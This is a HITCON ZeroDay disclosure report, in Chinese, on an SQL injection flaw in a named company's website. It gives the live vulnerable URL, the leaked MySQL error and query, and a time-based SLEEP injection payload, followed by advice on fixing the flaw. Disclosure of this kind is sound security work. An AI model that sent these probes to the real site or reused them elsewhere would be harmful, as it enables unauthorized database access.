Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00430
- Vendor: 歐油企業有限公司
- Title: 歐油企業公司資料庫注入漏洞
- Introduction: 資料庫注入漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/08 04:59:38 : 新提交 (由 FB搜尋"波波的寂寞世界" 更新此狀態)
- 2018/04/08 07:00:22 : 新提交 (由 FB搜尋"波波的寂寞世界" 更新此狀態)
- 2018/04/08 20:21:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:48:13 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:48:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:48:15 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/08 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00430
- 通報者:twfinderaz (FB搜尋"波波的寂寞世界")
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
例如:最新消息 http://www.midlandoil.com.tw/new.php?sid=1017032314_54185F02C
敘述
該網站存在SQL Injection,於該網址
http://www.midlandoil.com.tw/new.php?sid=1017032314_54185F02C
進行簡易測試,如單引號 '
http://www.midlandoil.com.tw/new.php?sid=1017032314_54185F02C'
可發現網站錯誤訊息
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1017032314_54185F02C''' at line 1
select from ts where row id='1017032314_54185F02C''
[TEP STOP]
這邊可以得知該資料庫查詢的語法以及 欄位名稱
select from ts where row id='1017032314_54185F02C''
進行sleep測試
http://www.midlandoil.com.tw/new.php?sid=1017032314_54185F02C%27%20AND%20SLEEP(5)%20AND%20%27pzGi%27=%27pzGi
修補建議
解決方案採用參數化(Parameterized)查詢語法
嚴密的檢查所有輸入值,使用過濾字串函數過濾非法的字元
網站避免使用addslashes或是mysql_real_escape_string,會被繞過
建議Google查一下 SQL Injection攻擊手法,及防範措施Parameterized,
https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A